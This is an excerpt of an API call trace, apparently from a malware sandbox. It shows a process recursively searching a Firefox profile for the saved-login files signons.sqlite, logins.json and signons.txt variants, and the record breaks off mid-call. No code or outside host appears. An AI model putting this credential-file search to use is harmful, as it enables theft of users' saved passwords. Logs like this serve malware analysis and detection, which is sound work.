[0048.025] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.025] LocalFree (hMem=0x74fc88) returned 0x0 [0048.025] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned 94 [0048.025] lstrlenA (lpString="\\*.*") returned 4 [0048.025] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74d998 [0048.025] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.025] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*" [0048.025] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*", lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0x72dd90 [0048.025] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.025] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.025] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.025] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.025] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0 [0048.025] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.026] LocalFree (hMem=0x74d998) returned 0x0 [0048.026] LocalFree (hMem=0x74fd68) returned 0x0 [0048.026] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.026] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.026] lstrlenA (lpString="healthreport.sqlite") returned 19 [0048.026] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="logins.json") returned 0x0 [0048.026] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0048.026] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.026] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.026] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.026] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0048.026] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0048.026] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.026] lstrlenA (lpString="\\") returned 1 [0048.026] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0048.026] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.026] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.026] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.026] lstrlenA (lpString="indexedDB") returned 9 [0048.026] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74fd68 [0048.026] lstrcpyA (in: lpString1=0x74fd68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.026] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.026] LocalFree (hMem=0x74fc88) returned 0x0 [0048.026] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.026] lstrlenA (lpString="\\*.*") returned 4 [0048.026] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x74fe50 [0048.026] lstrcpyA (in: lpString1=0x74fe50, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.026] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*" [0048.026] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*", lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0x72dd90 [0048.026] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.026] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.026] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.026] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.026] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.026] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0048.026] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0048.026] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0048.026] lstrlenA (lpString="\\") returned 1 [0048.026] LocalAlloc (uFlags=0x40, uBytes=0xdd) returned 0x74ff38 [0048.026] lstrcpyA (in: lpString1=0x74ff38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0048.026] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.026] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned 92 [0048.026] lstrlenA (lpString="moz-safe-about+home") returned 19 [0048.026] LocalAlloc (uFlags=0x40, uBytes=0xf0) returned 0x76e840 [0048.026] lstrcpyA (in: lpString1=0x76e840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0048.026] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.026] LocalFree (hMem=0x74ff38) returned 0x0 [0048.026] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.026] lstrlenA (lpString="\\*.*") returned 4 [0048.026] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74ff38 [0048.026] lstrcpyA (in: lpString1=0x74ff38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.027] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*" [0048.027] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0xef494 | out: lpFindFileData=0xef494) returned 0x72ddd0 [0048.027] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.027] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef494 | out: lpFindFileData=0xef494) returned 1 [0048.027] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.027] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.027] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef494 | out: lpFindFileData=0xef494) returned 1 [0048.027] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0048.027] lstrlenA (lpString=".metadata") returned 9 [0048.027] StrStrIA (lpFirst=".metadata", lpSrch="logins.json") returned 0x0 [0048.027] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0048.027] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0048.027] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0048.027] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef494 | out: lpFindFileData=0xef494) returned 1 [0048.027] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0048.027] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0048.027] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0048.027] lstrlenA (lpString="\\") returned 1 [0048.027] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x75c098 [0048.027] lstrcpyA (in: lpString1=0x75c098, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0048.027] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.027] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned 112 [0048.027] lstrlenA (lpString="idb") returned 3 [0048.027] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x75c198 [0048.027] lstrcpyA (in: lpString1=0x75c198, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0048.027] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.027] LocalFree (hMem=0x75c098) returned 0x0 [0048.027] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.027] lstrlenA (lpString="\\*.*") returned 4 [0048.027] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x75c098 [0048.027] lstrcpyA (in: lpString1=0x75c098, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.027] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0048.027] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0xef32c | out: lpFindFileData=0xef32c) returned 0x72db50 [0048.027] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.027] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef32c | out: lpFindFileData=0xef32c) returned 1 [0048.027] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.027] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.027] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef32c | out: lpFindFileData=0xef32c) returned 1 [0048.027] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0048.027] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0048.027] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0048.027] lstrlenA (lpString="\\") returned 1 [0048.027] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x75c298 [0048.028] lstrcpyA (in: lpString1=0x75c298, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0048.028] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.028] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 116 [0048.028] lstrlenA (lpString="818200132aebmoouht") returned 18 [0048.028] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x75c398 [0048.028] lstrcpyA (in: lpString1=0x75c398, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0048.028] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.028] LocalFree (hMem=0x75c298) returned 0x0 [0048.028] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 134 [0048.028] lstrlenA (lpString="\\*.*") returned 4 [0048.028] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x75c4a8 [0048.028] lstrcpyA (in: lpString1=0x75c4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0048.028] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0048.028] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0xef1c4 | out: lpFindFileData=0xef1c4) returned 0x72db90 [0048.028] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.028] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef1c4 | out: lpFindFileData=0xef1c4) returned 1 [0048.028] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.028] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.028] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef1c4 | out: lpFindFileData=0xef1c4) returned 0 [0048.028] FindClose (in: hFindFile=0x72db90 | out: hFindFile=0x72db90) returned 1 [0048.028] LocalFree (hMem=0x75c4a8) returned 0x0 [0048.028] LocalFree (hMem=0x75c398) returned 0x0 [0048.028] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef32c | out: lpFindFileData=0xef32c) returned 1 [0048.028] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.028] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0048.028] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="logins.json") returned 0x0 [0048.028] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0048.028] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.028] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.028] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef32c | out: lpFindFileData=0xef32c) returned 0 [0048.028] FindClose (in: hFindFile=0x72db50 | out: hFindFile=0x72db50) returned 1 [0048.029] LocalFree (hMem=0x75c098) returned 0x0 [0048.029] LocalFree (hMem=0x75c198) returned 0x0 [0048.029] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef494 | out: lpFindFileData=0xef494) returned 0 [0048.029] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0048.029] LocalFree (hMem=0x74ff38) returned 0x0 [0048.029] LocalFree (hMem=0x76e840) returned 0x0 [0048.029] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0 [0048.029] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.029] LocalFree (hMem=0x74fe50) returned 0x0 [0048.029] LocalFree (hMem=0x74fd68) returned 0x0 [0048.029] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.029] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0048.029] lstrlenA (lpString="key3.db") returned 7 [0048.029] StrStrIA (lpFirst="key3.db", lpSrch="logins.json") returned 0x0 [0048.029] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0048.029] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0048.029] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0048.029] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.029] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.029] lstrlenA (lpString="localstore.rdf") returned 14 [0048.029] StrStrIA (lpFirst="localstore.rdf", lpSrch="logins.json") returned 0x0 [0048.029] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0048.029] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0048.029] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0048.029] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.029] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0048.029] lstrlenA (lpString="marionette.log") returned 14 [0048.029] StrStrIA (lpFirst="marionette.log", lpSrch="logins.json") returned 0x0 [0048.029] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0048.029] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0048.029] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0048.029] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.029] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0048.029] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0048.029] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="logins.json") returned 0x0 [0048.029] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0048.029] StrStrIA 